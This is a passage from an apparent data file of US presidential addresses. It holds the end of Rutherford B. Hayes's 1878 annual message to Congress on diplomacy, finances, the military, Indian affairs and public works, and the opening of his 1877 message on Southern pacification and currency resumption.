to\nthe time when her relations with the nations of Europe and America shall be\nassimilated to those which they hold with each other. A treaty looking to\nthis end has been made, which will be submitted for the consideration of\nthe Senate.After an interval of several years the Chinese Government has again sent\nenvoys to the United States. They have been received, and a permanent\nlegation is now established here by that Government. It is not doubted that\nthis step will be of advantage to both nations in promoting friendly\nrelations and removing causes of difference.The treaty with the Samoan Islands, having been duly ratified and accepted\non the part of both Governments, is now in operation, and a survey and\nsoundings of the harbor of Pago-Pago have been made by a naval vessel of\nthe United States, with a view of its occupation as a naval station if\nfound desirable to the service.Since the resumption of diplomatic relations with Mexico correspondence has\nbeen opened and still continues between the two Governments upon the\nvarious questions which at one time seemed to endanger their relations.\nWhile no formal agreement has been reached as to the troubles on the\nborder, much has been done to repress and diminish them. The effective\nforce of United States troops on the Rio Grande, by a strict and faithful\ncompliance with instructions, has done much to remove the sources of\ndispute, and it is now understood that a like force of Mexican troops on\nthe other side of the river is also making an energetic movement against\nthe marauding Indian tribes. This Government looks with the greatest\nsatisfaction upon every evidence of strength in the national authority of\nMexico, and upon every effort put forth to prevent or to punish incursions\nupon our territory. Reluctant to assume any action or attitude in the\ncontrol of these incursions by military movements across the border not\nimperatively demanded for the protection of the lives and property of our\nown citizens, I shall take the earliest opportunity consistent with the\nproper discharge of this plain duty to recognize the ability of the Mexican\nGovernment to restrain effectively violations of our territory. It is\nproposed to hold next year an international exhibition in Mexico, and it is\nbelieved that the display of the agricultural and manufacturing products of\nthe two nations will tend to better understanding and increased commercial\nintercourse between their people.With Brazil and the Republics of Central and South America some steps have\nbeen taken toward the development of closer commercial intercourse.\nDiplomatic relations have been resumed with Colombia and with Bolivia. A\nboundary question between the Argentine Republic and Paraguay has been\nsubmitted by those Governments for arbitration to the President of the\nUnited States, and I have, after careful examination, given a decision upon\nit.A naval expedition up the Amazon and Madeira rivers has brought back\ninformation valuable both for scientific and commercial purposes. A like\nexpedition is about visiting the coast of Africa and the Indian Ocean. The\nreports of diplomatic and consular officers in relation to the development\nof our foreign commerce have furnished many facts that have proved of\npublic interest and have stimulated to practical exertion the enterprise of\nour people.The report of the Secretary of the Treasury furnishes a detailed statement\nof the operations of that Department of the Government and of the condition\nof the public finances.The ordinary revenues from all sources for the fiscal year ended June 30,\n1878, were $257,763,878.70; the ordinary expenditures for the same period\nwere $236,964,326.80, leaving a surplus revenue for the year of\n$20,799,551.90. The receipts for the present fiscal year, ending June 30,\n1879, actual and estimated, are as follows: Actual receipts for the first\nquarter, commencing July 1, 1878, $73,389,743.43; estimated receipts for\nthe remaining three quarters of the year, $191,110,256.57; total receipts\nfor the current fiscal year, actual and estimated, $264,500,000. The\nexpenditures for the same period will be, actual and estimated, as follows:\nFor the quarter commencing July 1, 1878, actual expenditures,\n$73,344,573.27; and for the remaining three quarters of the year the\nexpenditures are estimated at $166,755,426.73, making the total\nexpenditures $240,100,000, and leaving an estimated surplus revenue for the\nyear ending June 30, 1879, of $24,400,000. The total receipts during the\nnext fiscal year, ending June 30, 1880, estimated according to existing\nlaws, will be $264,500,000, and the estimated ordinary expenditures for the\nsame period will be $236,320,412.68, leaving a surplus of $28,179,587.32\nfor that year.In the foregoing statements of expenditures, actual and estimated, no\namount is allowed for the sinking fund provided for by the act approved\nFebruary 25, 1862, which requires that 1 per cent of the entire debt of the\nUnited States shall be purchased or paid within each fiscal year, to be set\napart as a sinking fund. There has been, however, a substantial compliance\nwith the conditions of the law. By its terms the public debt should have\nbeen reduced between 1862 and the close of the last fiscal year\n$518,361,806.28; the actual reduction of the ascertained debt in that\nperiod has been $720,644,739.61, being in excess of the reduction required\nby the sinking fund act $202,282,933.33.The amount of the public debt, less cash in the Treasury, November 1, 1878,\nwas $2,024,200,083.18 a reduction since the same date last year of\n$23,150,617.39.The progress made during the last year in refunding the public debt at\nlower rates of interest is very gratifying. The amount of 4 per cent bonds\nsold during the present year prior to November 23, 1878, is $100,270,900,\nand 6 per cent bonds, commonly known as five-twenties, to an equal amount,\nhave been or will be redeemed as calls mature.It has been the policy of the Department to place the 4 per cent bonds\nwithin easy reach of every citizen who desires to invest his savings,\nwhether small or great, in these securities. The Secretary of the Treasury\nrecommends that the law be so modified that small sums may be invested, and\nthat through the post-offices or other agents of the Government the freest\nopportunity may be given in all parts of the country for such investments.The best mode suggested is that the Department be authorized to issue\ncertificates of deposit, of the denomination of $10, bearing interest at\nthe rate of 3.65 per cent per annum and convertible at any time within one\nyear after their issue into the 4 per cent bonds authorized by the\nrefunding act, and to be issued only in exchange for United States notes\nsent to the Treasury by mail or otherwise. Such a provision of law,\nsupported by suitable regulations, would enable any person readily, without\ncost or risk, to convert his money into an interest-bearing security of the\nUnited States, and the money so received could be applied to the redemption\nof 6 per cent bonds.The coinage of gold during the last fiscal year was $52,798,980. The\ncoinage of silver dollars under the act passed February 28, 1878, amounted\non the 23d of November, 1878, to $19,814,550, of which amount $4,984,947\nare in circulation, and the balance, $14,829,603, is still in the\npossession of the Government.With views unchanged with regard to the act under which the coinage of\nsilver proceeds, it has been the purpose of the Secretary faithfully to\nexecute the law and to afford a fair trial to the measure.In the present financial condition of the country I am persuaded that the\nwelfare of legitimate business and industry of every description will be\nbest promoted by abstaining from all attempts to make radical changes in\nthe existing financial legislation. Let it be understood that during the\ncoming year the business of the country will be undisturbed by governmental\ninterference with the laws affecting it, and we may confidently expect that\nthe resumption of specie payments, which will take place at the appointed\ntime, will be successfully and easily maintained, and that it will be\nfollowed by a healthful and enduring revival of business prosperity.Let the healing influence of time, the inherent energies of our people, and\nthe boundless resources of our country have a fair opportunity, and relief\nfrom present difficulties will surely follow.The report of the Secretary of War shows that the Army has been well and\neconomically supplied; that our small force has been actively employed and\nhas faithfully performed all the service required of it. The morale of the\nArmy has improved and the number of desertions has materially decreased\nduring the year.The Secretary recommends--1. That a pension be granted to the widow of the late Lieutenant Henry H.\nBenner, Eighteenth Infantry, who lost his life by yellow fever while in\ncommand of the steamer. J.M. Chambers, sent with supplies for the relief of\nsufferers in the South from that disease.2. The establishment of the annuity scheme for the benefit of the heirs of\ndeceased officers, as suggested by the Paymaster-General.3. The adoption by Congress of a plan for the publication of the records of\nthe War of the Rebellion, now being prepared for that purpose.4. The increase of the extra per diem of soldier teachers employed in post\nschools, and liberal appropriations for the erection of buildings for\nschools and libraries at the different posts.5. The repeal or amendment of the act of June 18, 1878, forbidding the use\nof the Army \"as a posse comitatus, or otherwise, for the purpose of\nexecuting the laws, except in such cases and under such circumstances as\nsuch employment of said force may be expressly authorized by the\nConstitution or by act of Congress.\"6. The passage of a joint resolution of Congress legalizing the issues of\nrations, tents, and medicines which were made for the relief of sufferers\nfrom yellow fever.7. That provision be made for the erection of a fireproof building for the\npreservation of certain valuable records, now constantly exposed to\ndestruction by fire.These recommendations are all commended to your favorable consideration.The report of the Secretary of the Navy shows that the Navy has improved\nduring the last fiscal year. Work has been done on seventy-five vessels,\nten of which have been thoroughly repaired and made ready for sea. Two\nothers are in rapid progress toward completion. The total expenditures of\nthe year, including the amount appropriated for the deficiencies of the\nprevious year, were $17,468,392.65. The actual expenses chargeable to the\nyear, exclusive of these deficiencies, were $13,306,914.09, or $767,199.18\nless than those of the previous year, and $4,928,677.74 less than the\nexpenses including the deficiencies. The estimates for the fiscal year\nending June 30, 1880, are $14,562,381.45, exceeding the appropriations of\nthe present year only $33,949.75, which excess is occasioned by the demands\nof the Naval Academy and the Marine Corps, as explained in the Secretary's\nreport. The appropriations for the present fiscal year are $14,528,431.70,\nwhich, in the opinion of the Secretary, will be ample for all the current\nexpenses of the Department during the year. The amount drawn from the\nTreasury from July 1 to November 1, 1878, is $4,740,544.14, of which\n$70,980.75 has been refunded, leaving as the expenditure for that period\n$4,669,563.39, or $520,899.24 less than the corresponding period of the\nlast fiscal year.The report of the Postmaster-General embraces a detailed statement of the\noperations of the Post-Office Department. The expenditures of that\nDepartment for the fiscal year ended June 30, 1878, were $34,165,084.49.\nThe receipts, including sales of stamps, money-order business, and official\nstamps, were $29,277,516.95. The sum of $290,436.90, included in the\nforegoing statement of expenditures, is chargeable to preceding years, so\nthat the actual expenditures for the fiscal year ended June 30, 1878, are\n$33,874,647.59. The amount drawn from the Treasury on appropriations, in\naddition to the revenues of the Department, was $5,307,652.82. The\nexpenditures for the fiscal year ending June 30, 1880, are estimated at\n$36,571,900 and the receipts from all sources at $30,664,023.90, leaving a\ndeficiency to be appropriated out of the Treasury of $5,907,876.10. The\nreport calls attention to the fact that the compensation of postmasters and\nof railroads for carrying the mail is regulated by law, and that the\nfailure of Congress to appropriate the amounts required for these purposes\ndoes not relieve the Government of responsibility, but necessarily\nincreases the deficiency bills which Congress will be called upon to pass.In providing for the postal service the following questions are presented:\nShould Congress annually appropriate a sum for its expenses largely in\nexcess of its revenues, or should such rates of postage be established as\nwill make the Department self-sustaining? Should the postal service be\nreduced by excluding from the mails matter which does not pay its way?\nShould the number of post routes be diminished? Should other methods be\nadopted which will increase the revenues or diminish the expenses of the\npostal service?The International Postal Congress which met at Paris May 1, 1878, and\ncontinued in session until June 4 of the same year, was composed of\ndelegates from nearly all the civilized countries of the world. It adopted\na new convention (to take the place of the treaty concluded at Berne\nOctober 9, 1874), which goes into effect on the 1st of April, 1879, between\nthe countries whose delegates have signed it. It was ratified and approved,\nby and with the consent of the President, August 13, 1878. A synopsis of\nthis Universal Postal Convention will be found in the report of the\nPostmaster-General, and the full text in the appendix thereto. In its\norigin the Postal Union comprised twenty-three countries, having a\npopulation of 350,000,000 people. On the 1st of April next it will comprise\nforty-three countries and colonies, with a population of more than\n650,000,000 people, and will soon, by the accession of the few remaining\ncountries and colonies which maintain organized postal services, constitute\nin fact as well as in name, as its new title indicates, a universal union,\nregulating, upon a uniform basis of cheap postage rates, the postal\nintercourse between all civilized nations.Some embarrassment has arisen out of the conflict between the customs laws\nof this country and the provisions of the Postal Convention in regard to\nthe transmission of foreign books and newspapers to this country by mail.\nIt is hoped that Congress will be able to devise some means of reconciling\nthe difficulties which have thus been created, so as to do justice to all\nparties involved.The business of the Supreme Court and of the courts in many of the circuits\nhas increased to such an extent during the past year that additional\nlegislation is imperative to relieve and prevent the delay of justice and\npossible oppression to suitors which is thus occasioned. The encumbered\ncondition of these dockets is presented anew in the report of the\nAttorney-General, and the remedy suggested is earnestly urged for\nCongressional action. The creation of additional circuit judges, as\nproposed, would afford a complete remedy, and would involve an expense, at\nthe present rate of salaries of not more than $60,000 a year.The annual reports of the Secretary of the Interior and of the Commissioner\nof Indian Affairs present an elaborate account of the present condition of\nthe Indian tribes and of that branch of the public service which ministers\nto their interests. While the conduct of the Indians generally has been\norderly and their relations with their neighbors friendly and peaceable,\ntwo local disturbances have occurred, which were deplorable in their\ncharacter, but remained, happily, confined to a comparatively small number\nof Indians. The discontent among the Bannocks, which led first to some acts\nof violence on the part of some members of the tribe and finally to the\noutbreak, appears to have been caused by an insufficiency of food on the\nreservation, and this insufficiency to have been owing to the inadequacy of\nthe appropriations made by Congress to the wants of the Indians at a time\nwhen the Indians were prevented from supplying the deficiency by hunting.\nAfter an arduous pursuit by the troops of the United States, and several\nengagements, the hostile Indians were reduced to subjection, and the larger\npart of them surrendered themselves as prisoners. In this connection I\ndesire to call attention to the recommendation made by the Secretary of the\nInterior, that a sufficient fund be placed at the disposal of the\nExecutive, to be used, with proper accountability, at discretion, in sudden\nemergencies of the Indian service.The other case of disturbance was that of a band of Northern Cheyennes, who\nsuddenly left their reservation in the Indian Territory and marched rapidly\nthrough the States of Kansas and Nebraska in the direction of their old\nhunting grounds, committing murders and other crimes on their way. From\ndocuments accompanying the report of the Secretary of the Interior it\nappears that this disorderly band was as fully supplied with the\nnecessaries of life as the 4,700 other Indians who remained quietly on the\nreservation, and that the disturbance was caused by men of a restless and\nmischievous disposition among the Indians themselves. Almost the whole of\nthis band have surrendered to the military authorities; and it is a\ngratifying fact that when some of them had taken refuge in the camp of the\nRed Cloud Sioux, with whom they had been in friendly relations, the Sioux\nheld them as prisoners and readily gave them up to the officers of the\nUnited States, thus giving new proof of the loyal spirit which, alarming\nrumors to the contrary notwithstanding, they have uniformly shown ever\nsince the wishes they expressed at the council of September, 1877, had been\ncomplied with.Both the Secretary of the Interior and the Secretary of War unite in the\nrecommendation that provision be made by Congress for the organization of a\ncorps of mounted \"Indian auxiliaries,\" to be under the control of the Army\nand to be used for the purpose of keeping the Indians on their reservations\nand preventing or repressing disturbance on their part. I earnestly concur\nin this recommendation. It is believed that the organization of such a body\nof Indian cavalry, receiving a moderate pay from the Government, would\nconsiderably weaken the restless element among the Indians by withdrawing\nfrom it a number of young men and giving them congenial employment under\nthe Government, it being a matter of experience that Indians in our service\nalmost without exception are faithful in the performance of the duties\nassigned to them. Such an organization would materially aid the Army in the\naccomplishment of a task for which its numerical strength is sometimes\nfound insufficient.But while the employment of force for the prevention or repression of\nIndian troubles is of occasional necessity, and wise preparation should be\nmade to that end, greater reliance must be placed on humane and civilizing\nagencies for the ultimate solution of what is called the Indian problem. It\nmay be very difficult and require much patient effort to curb the unruly\nspirit of the savage Indian to the restraints of civilized life, but\nexperience shows that it is not impossible. Many of the tribes which are\nnow quiet and orderly and self-supporting were once as savage as any that\nat present roam over the plains or in the mountains of the far West, and\nwere then considered inaccessible to civilizing influences. It may be\nimpossible to raise them fully up to the level of the white population of\nthe United States; but we should not forget that they are the aborigines of\nthe country, and called the soil their own on which our people have grown\nrich, powerful, and happy. We owe it to them as a moral duty to help them\nin attaining at least that degree of civilization which they may be able to\nreach. It is not only our duty, it is also our interest to do so. Indians\nwho have become agriculturists or herdsmen, and feel an interest in\nproperty, will thenceforth cease to be a warlike and disturbing element. It\nis also a well-authenticated fact that Indians are apt to be peaceable and\nquiet when their children are at school, and I am gratified to know, from\nthe expressions of Indians themselves and from many concurring reports,\nthat there is a steadily increasing desire, even among Indians belonging to\ncomparatively wild tribes, to have their children educated. I invite\nattention to the reports of the Secretary of the Interior and the\nCommissioner of Indian Affairs touching the experiment recently\ninaugurated, in taking fifty Indian children, boys and girls, from\ndifferent tribes, to the Hampton Normal Agricultural Institute in Virginia,\nwhere they are to receive an elementary English education and training in\nagriculture and other useful works, to be returned to their tribes, after\nthe completed course, as interpreters, instructors, and examples. It is\nreported that the officer charged with the selection of those children\nmight have had thousands of young Indians sent with him had it been\npossible to make provision for them. I agree with the Secretary of the\nInterior in saying that \"the result of this interesting experiment, if\nfavorable, may be destined to become an important factor in the advancement\nof civilization among the Indians.\"The question whether a change in the control of the Indian service should\nbe made was at the last session of Congress referred to a committee for\ninquiry and report. Without desiring to anticipate that report, I venture\nto express the hope that in the decision of so important a question the\nviews expressed above may not be lost sight of, and that the decision,\nwhatever it may be, will arrest further agitation of this subject, such\nagitation being apt to produce a disturbing effect upon the service, as\nwell as on the Indians themselves.In the enrollment of the bill making appropriations for sundry civil\nexpenses, at the last session of Congress, that portion which provided for\nthe continuation of the Hot Springs Commission was omitted. As the\ncommission had completed the work of taking testimony on the many\nconflicting claims, the suspension of their labors, before determining the\nrights of claimants, threatened for a time to embarrass the interests, not\nonly of the Government, but also of a large number of the citizens of Hot\nSprings, who were waiting for final action on their claims before beginning\ncontemplated improvements. In order to prevent serious difficulties, which\nwere apprehended, and at the solicitation of many leading citizens of Hot\nSprings and others interested in the welfare of the town, the Secretary of\nthe Interior was authorized to request the late commissioners to take\ncharge of the records of their proceedings and to perform such work as\ncould properly be done by them under such circumstances to facilitate the\nfuture adjudication of the claims at an early day and to preserve the\nstatus of the claimants until their rights should be finally determined.\nThe late commissioners complied with that request, and report that the\ntestimony in all the cases has been written out, examined, briefed, and so\narranged as to facilitate an early settlement when authorized by law. It is\nrecommended that the requisite authority be given at as early a day in the\nsession as possible, and that a fair compensation be allowed the late\ncommissioners for the expense incurred and the labor performed by them\nsince the 25th of June last.I invite the attention of Congress to the recommendations made by the\nSecretary of the Interior with regard to the preservation of the timber on\nthe public lands of the United States. The protection of the public\nproperty is one of the first duties of the Government. The Department of\nthe Interior should therefore be enabled by sufficient appropriations to\nenforce the laws in that respect. But this matter appears still more\nimportant as a question of public economy. The rapid destruction of our\nforests is an evil fraught with the gravest consequences, especially in the\nmountainous districts, where the rocky slopes, once denuded of their trees,\nwill remain so forever. There the injury, once done, can not be repaired. I\nfully concur with the Secretary of the Interior in the opinion that for\nthis reason legislation touching the public timber in the mountainous\nStates and Territories of the West should be especially well considered,\nand that existing laws in which the destruction of the forests is not\nsufficiently guarded against should be speedily modified. A general law\nconcerning this important subject appears to me to be a matter of urgent\npublic necessity.From the organization of the Government the importance of encouraging by\nall possible means the increase of our agricultural productions has been\nacknowledged and urged upon the attention of Congress and the people as the\nsurest and readiest means of increasing our substantial and enduring\nprosperity.The words of Washington are as applicable to-day as when, in his eighth\nannual message, he said: It will not be doubted that, with reference either\nto individual or national welfare, agriculture is of primary importance. In\nproportion as nations advance in population and other circumstances of\nmaturity this truth becomes more apparent, and renders the cultivation of\nthe soil more and more an object of public patronage. Institutions for\npromoting it grow up, supported by the public purse; and to what object can\nit be dedicated with greater propriety? Among the means which have been\nemployed to this end none have been attended with greater success than the\nestablishment of boards (composed of proper characters) charged with\ncollecting and diffusing information, and enabled by premiums and small\npecuniary aids to encourage and assist a spirit of discovery and\nimprovement. This species of establishment contributes doubly to the\nincrease of improvement, by stimulating to enterprise and experiment, and\nby drawing to a common center the results everywhere of individual skill\nand observation and spreading them thence over the whole nation. Experience\naccordingly hath shewn that they are very cheap instruments of immense\nnational benefits. The preponderance of the agricultural over any other\ninterest in the United States entitles it to all the consideration claimed\nfor it by Washington. About one-half of the population of the United States\nis engaged in agriculture. The value of the agricultural products of the\nUnited States for the year 1878 is estimated at $3,000,000,000. The exports\nof agricultural products for the year 1877, as appears from the report of\nthe Bureau of Statistics, were $524,000,000. The great extent of our\ncountry, with its diversity of soil and climate, enables us to produce\nwithin our own borders and by our own labor not only the necessaries, but\nmost of the luxuries, that are consumed in civilized countries. Yet,\nnotwithstanding our advantages of soil, climate, and inter-communication,\nit appears from the statistical statements in the report of the\nCommissioner of Agriculture that we import annually from foreign lands many\nmillions of dollars worth of agricultural products which could be raised in\nour own country.Numerous questions arise in the practice of advanced agriculture which can\nonly be answered by experiments, often costly and sometimes fruitless,\nwhich are beyond the means of private individuals and are a just and proper\ncharge on the whole nation for the benefit of the nation. It is good\npolicy, especially in times of depression and uncertainty in other business\npursuits, with a vast area of uncultivated, and hence unproductive,\nterritory, wisely opened to homestead settlement, to encourage by every\nproper and legitimate means the occupation and tillage of the soil. The\nefforts of the Department of Agriculture to stimulate old and introduce new\nagricultural industries, to improve the quality and increase the quantity\nof our products, to determine the value of old or establish the importance\nof new methods of culture, are worthy of your careful and favorable\nconsideration, and assistance by such appropriations of money and\nenlargement of facilities as may seem to be demanded by the present\nfavorable conditions for the growth and rapid development of this important\ninterest.The abuse of animals in transit is widely attracting public attention. A\nnational convention of societies specially interested in the subject has\nrecently met at Baltimore, and the facts developed, both in regard to\ncruelties to animals and the effect of such cruelties upon the public\nhealth, would seem to demand the careful consideration of Congress and the\nenactment of more efficient laws for the prevention of these abuses.The report of the Commissioner of the Bureau of Education shows very\ngratifying progress throughout the country in all the interests committed\nto the care of this important office. The report is especially encouraging\nwith respect to the extension of the advantages of the common-school system\nin sections of the country where the general enjoyment of the privilege of\nfree schools is not yet attained.To education more than to any other agency we are to look as the resource\nfor the advancement of the people in the requisite knowledge and\nappreciation of their rights and responsibilities as citizens, and I desire\nto repeat the suggestion contained in my former message in behalf of the\nenactment of appropriate measures by Congress for the purpose of\nsupplementing with national aid the local systems of education in the\nseveral States.Adequate accommodations for the great library, which is overgrowing the\ncapacity of the rooms now occupied at the Capitol, should be provided\nwithout further delay. This invaluable collection of books, manuscripts,\nand illustrative art has grown to such proportions, in connection with the\ncopyright system of the country, as to demand the prompt and careful\nattention of Congress to save it from injury in its present crowded and\ninsufficient quarters. As this library is national in its character, and\nmust from the nature of the case increase even more rapidly in the future\nthan in the past, it can not be doubted that the people will sanction any\nwise expenditure to preserve it and to enlarge its usefulness.The appeal of the Regents of the Smithsonian Institution for the means to\norganize, exhibit, and make available for the public benefit the articles\nnow stored away belonging to the National Museum I heartily recommend to\nyour favorable consideration.The attention of Congress is again invited to the condition of the river\nfront of the city of Washington. It is a matter of vital importance to the\nhealth of the residents of the national capital, both temporary and\npermanent, that the lowlands in front of the city, now subject to tidal\noverflow, should be reclaimed. In their present condition these flats\nobstruct the drainage of the city and are a dangerous source of malarial\npoison. The reclamation will improve the navigation of the river by\nrestricting, and consequently deepening, its channel, and is also of\nimportance when considered in connection with the extension of the public\nground and the enlargement of the park west and south of the Washington\nMonument. The report of the board of survey, heretofore ordered by act of\nCongress, on the improvement of the harbor of Washington and Georgetown, is\nrespectfully commended to consideration.The report of the Commissioners of the District of Columbia presents a\ndetailed statement of the affairs of the District.The relative expenditures by the United States and the District for local\npurposes is contrasted, showing that the expenditures by the people of the\nDistrict greatly exceed those of the General Government. The exhibit is\nmade in connection with estimates for the requisite repair of the defective\npavements and sewers of the city, which is a work of immediate necessity;\nand in the same connection a plan is presented for the permanent funding of\nthe outstanding securities of the District.The benevolent, reformatory, and penal institutions of the District are all\nentitled to the favorable attention of Congress. The Reform School needs\nadditional buildings and teachers. Appropriations which will place all of\nthese institutions in a condition to become models of usefulness and\nbeneficence will be regarded by the country as liberality wisely bestowed.The Commissioners, with evident justice, request attention to the\ndiscrimination made by Congress against the District in the donation of\nland for the support of the public schools, and ask that the same\nliberality that has been shown to the inhabitants of the various States and\nTerritories of the United States may be extended to the District of\nColumbia.The Commissioners also invite attention to the damage inflicted upon public\nand private interests by the present location of the depots and switching\ntracks of the several railroads entering the city, and ask for legislation\nlooking to their removal. The recommendations and suggestions contained in\nthe report will, I trust, receive the careful consideration of Congress.Sufficient time has, perhaps, not elapsed since the reorganization of the\ngovernment of the District under the recent legislation of Congress for the\nexpression of a confident opinion as to its successful operation, but the\npractical results already attained are so satisfactory that the friends of\nthe new government may well urge upon Congress the wisdom of its\ncontinuance, without essential modification, until by actual experience its\nadvantages and defects may be more fully ascertained.R. B. HAYES", 
+    "name": "Rutherford B. Hayes"
+}
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+{
+    "date": "December 3, 1877", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:With devout gratitude to the bountiful Giver of All Good, I congratulate\nyou that at the beginning of your first regular session you find our\ncountry blessed with health and peace and abundant harvests, and with\nencouraging prospects of an early return of general prosperity.To complete and make permanent the pacification of the country continues to\nbe, and until it is fully accomplished must remain, the most important of\nall our national interests. The earnest purpose of good citizens generally\nto unite their efforts in this endeavor is evident. It found decided\nexpression in the resolutions announced in 1876 by the national conventions\nof the leading political parties of the country. There was a widespread\napprehension that the momentous results in our progress as a nation marked\nby the recent amendments to the Constitution were in imminent jeopardy;\nthat the good understanding which prompted their adoption, in the interest\nof a loyal devotion to the general welfare, might prove a barren truce, and\nthat the two sections of the country, once engaged in civil strife, might\nbe again almost as widely severed and disunited as they were when arrayed\nin arms against each other.The course to be pursued, which, in my judgment, seemed wisest in the\npresence of this emergency, was plainly indicated in my inaugural address.\nIt pointed to the time, which all our people desire to see, when a genuine\nlove of our whole country and of all that concerns its true welfare shall\nsupplant the destructive forces of the mutual animosity of races and of\nsectional hostility. Opinions have differed widely as to the measures best\ncalculated to secure this great end. This was to be expected. The measures\nadopted by the Administration have been subjected to severe and varied\ncriticism. Any course whatever which might have been entered upon would\ncertainly have encountered distrust and opposition. These measures were, in\nmy judgment, such as were most in harmony with the Constitution and with\nthe genius of our people, and best adapted, under all the circumstances, to\nattain the end in view. Beneficent results, already apparent, prove that\nthese endeavors are not to be regarded as a mere experiment, and should\nsustain and encourage us in our efforts. Already, in the brief period which\nhas elapsed, the immediate effectiveness, no less than the justice, of the\ncourse pursued is demonstrated, and I have an abiding faith that time will\nfurnish its ample vindication in the minds of the great majority of my\nfellow-citizens. The discontinuance of the use of the Army for the purpose\nof upholding local governments in two States of the Union was no less a\nconstitutional duty and requirement, under the circumstances existing at\nthe time, than it was a much-needed measure for the restoration of local\nself-government and the promotion of national harmony. The withdrawal of\nthe troops from such employment was effected deliberately, and with\nsolicitous care for the peace and good order of society and the protection\nof the property and persons and every right of all classes of citizens.The results that have followed are indeed significant and encouraging. All\napprehension of danger from remitting those States to local self-government\nis dispelled, and a most salutary change in the minds of the people has\nbegun and is in progress in every part of that section of the country once\nthe theater of unhappy civil strife, substituting for suspicion, distrust,\nand aversion, concord, friendship, and patriotic attachment to the Union.\nNo unprejudiced mind will deny that the terrible and often fatal collisions\nwhich for several years have been of frequent occurrence and have agitated\nand alarmed the public mind have almost entirely ceased, and that a spirit\nof mutual forbearance and hearty national interest has succeeded. There has\nbeen a general reestablishment of order and of the orderly administration\nof justice. Instances of remaining lawlessness have become of rare\noccurrence; political turmoil and turbulence have disappeared; useful\nindustries have been resumed; public credit in the Southern States has been\ngreatly strengthened, and the encouraging benefits of a revival of commerce\nbetween the sections of the country lately embroiled in civil war are fully\nenjoyed. Such are some of the results already attained, upon which the\ncountry is to be congratulated. They are of such importance that we may\nwith confidence patiently await the desired consummation that will surely\ncome with the natural progress of events.It may not be improper here to say that it should be our fixed and\nunalterable determination to protect by all available and proper means\nunder the Constitution and the laws the lately emancipated race in the\nenjoyment of their rights and privileges; and I urge upon those to whom\nheretofore the colored people have sustained the relation of bondmen the\nwisdom and justice of humane and liberal local legislation with respect to\ntheir education and general welfare. A firm adherence to the laws, both\nnational and State, as to the civil and political rights of the colored\npeople, now advanced to full and equal citizenship; the immediate\nrepression and sure punishment by the national and local authorities,\nwithin their respective jurisdictions, of every instance of lawlessness and\nviolence toward them, is required for the security alike of both races, and\nis justly demanded by the public opinion of the country and the age. In\nthis way the restoration of harmony and good will and the complete\nprotection of every citizen in the full enjoyment of every constitutional\nright will surely be attained. Whatever authority rests with me to this end\nI shall not hesitate to put forth.Whatever belongs to the power of Congress and the jurisdiction of the\ncourts of the Union, they may confidently be relied upon to provide and\nperform; and to the legislatures, the courts, and the executive authorities\nof the several States I earnestly appeal to secure, by adequate,\nappropriate, and seasonable means, Within their borders, these common and\nuniform rights of a united people which loves liberty, abhors oppression,\nand reveres justice. These objects are very dear to my heart. I shall\ncontinue most earnestly to strive for their attainment. The cordial\ncooperation of all classes, of all sections of the country and of both\nraces, is required for this purpose; and with these blessings assured, and\nnot otherwise, we may safely hope to hand down our free institutions of\ngovernment unimpaired to the generations that will succeed us.Among the other subjects of great and general importance to the people of\nthis country, I can not be mistaken, I think, in regarding as preeminent\nthe policy and measures which are designed to secure the restoration of the\ncurrency to that normal and healthful condition in which, by the resumption\nof specie payments, our internal trade and foreign commerce may be brought\ninto harmony with the system of exchanges which is based upon the precious\nmetals as the intrinsic money of the world. In the public judgment that\nthis end should be sought and compassed as speedily and securely as the\nresources of the people and the wisdom of their Government can accomplish,\nthere is a much greater degree of unanimity than is found to concur in the\nspecific measures which will bring the country to this desired end or the\nrapidity of the steps by which it can be safely reached.Upon a most anxious and deliberate examination, which I have felt it my\nduty to give to the subject, I am but the more confirmed in the opinion\nwhich I expressed in accepting the nomination for the Presidency, and again\nupon my inauguration, that the policy of resumption should be pursued by\nevery suitable means, and that no legislation would be wise that should\ndisparage the importance or retard the attainment of that result. I have no\ndisposition, and certainly no right, to question the sincerity or the\nintelligence of opposing opinions, and would neither conceal nor undervalue\nthe considerable difficulties, and even occasional distresses, which may\nattend the progress of the nation toward this primary condition to its\ngeneral and permanent prosperity. I must, however, adhere to my most\nearnest conviction that any wavering in purpose or unsteadiness in methods,\nso far from avoiding or reducing the inconvenience inseparable from the\ntransition from an irredeemable to a redeemable paper currency, would only\ntend to increased and prolonged disturbance in values, and unless retrieved\nmust end in serious disorder, dishonor, and disaster in the financial\naffairs of the Government and of the people.The mischiefs which I apprehend and urgently deprecate are confined to no\nclass of the people, indeed, but seem to me most certainly to threaten the\nindustrious masses, whether their occupations are of skilled or common\nlabor. To them, it seems to me, it is of prime importance that their labor\nshould be compensated in money which is itself fixed in exchangeable value\nby being irrevocably measured by the labor necessary to its production.\nThis permanent quality of the money of the people is sought for, and can\nonly be gained by the resumption of specie payments. The rich, the\nspeculative, the operating, the money-dealing classes may not always feel\nthe mischiefs of, or may find casual profits in, a variable currency, but\nthe misfortunes of such a currency to those who are paid salaries or wages\nare inevitable and remediless.Closely connected with this general subject of the resumption of specie\npayments is one of subordinate, but still of grave, importance; I mean the\nreadjustment of our coinage system by the renewal of the silver dollar as\nan element in our specie currency, endowed by legislation with the quality\nof legal tender to a greater or less extent.As there is no doubt of the power of Congress under the Constitution \"to\ncoin money and regulate the value thereof,\" and as this power covers the\nwhole range of authority applicable to the metal, the rated value and the\nlegal-tender quality which shall be adopted for the coinage, the\nconsiderations which should induce or discourage a particular measure\nconnected with the coinage, belong clearly to the province of legislative\ndiscretion and of public expediency. Without intruding upon this province\nof legislation in the least, I have yet thought the subject of such\ncritical importance, in the actual condition of our affairs, as to present\nan occasion for the exercise of the duty imposed by the Constitution on the\nPresident of recommending to the consideration of Congress \"such measures\nas he shall judge necessary and expedient.\"Holding the opinion, as I do, that neither the interests of the Government\nnor of the people of the United States would be promoted by disparaging\nsilver as one of the two precious metals which furnish the coinage of the\nworld, and that legislation which looks to maintaining the volume of\nintrinsic money to as full a measure of both metals as their relative\ncommercial values will permit would be neither unjust nor inexpedient, I\nmust ask your indulgence to a brief and definite statement of certain\nessential features in any such legislative measure which I feel it my duty\nto recommend.I do not propose to enter the debate, represented on both sides by such\nable disputants in Congress and before the people and in the press, as to\nthe extent to which the legislation of any one nation can control this\nquestion, even within its own borders, against the unwritten laws of trade\nor the positive laws of other governments. The wisdom of Congress in\nshaping any particular law that may be presented for my approval may wholly\nsupersede the necessity of my entering into these considerations, and I\nwillingly avoid either vague or intricate inquiries. It is only certain\nplain and practical traits 